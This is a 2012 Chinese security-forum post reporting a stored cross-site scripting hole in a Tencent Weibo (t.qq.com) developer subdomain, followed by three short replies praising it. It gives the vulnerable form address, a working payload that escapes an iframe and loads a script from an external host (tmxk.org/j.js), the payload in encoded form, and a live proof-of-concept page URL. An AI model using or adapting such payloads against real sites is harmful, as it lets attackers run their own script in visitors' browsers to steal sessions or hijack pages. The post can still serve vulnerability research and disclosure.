天马行空工作室

 找回密码
 加入天马
搜索
查看: 2467|回复: 3

t.qq.com子域存储型xss

[复制链接]
发表于 2012-11-23 22:10:42 | 显示全部楼层 |阅读模式
这个地址http://dev.t.qq.com/apps/add/4/
1.png
哪个地址随便写成脚本,用escape编码。
如:
  1. http://tmxk.org/"></iframe><script/src=//tmxk.org/j.js></script><iframe>
复制代码
编码:
http://tmxk.org/%22%3E%3C%2F%69%66%72%61%6D%65%3E%3C%73%63%72%69%70%74%2F%73%72%63%3D%2F%2F%74%6D%78%6B%2E%6F%72%67%2F%6A%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E%3C%69%66%72%61%6D%65%3E

效果地址:
http://app.t.qq.com/app/playtest/801275573

2.png

3.png









发表于 2012-11-24 01:34:04 | 显示全部楼层
哇,给力噻。
发表于 2012-12-2 01:51:33 | 显示全部楼层
Chaplin 发表于 2012-11-24 01:34
哇,给力噻。

哇,给力噻。
发表于 2012-12-6 05:52:55 | 显示全部楼层
给力。。
您需要登录后才可以回帖 登录 | 加入天马

本版积分规则

Archiver|手机版|小黑屋|天马行空工作室 ( 京ICP备12003429号  

GMT+8, 2019-10-21 10:15 , Processed in 1.241619 second(s), 24 queries .

Powered by Discuz! v8

© 2010-2014 t.qq.com子域存储型xss - XSS 天马行空工作室

快速回复 返回顶部 返回列表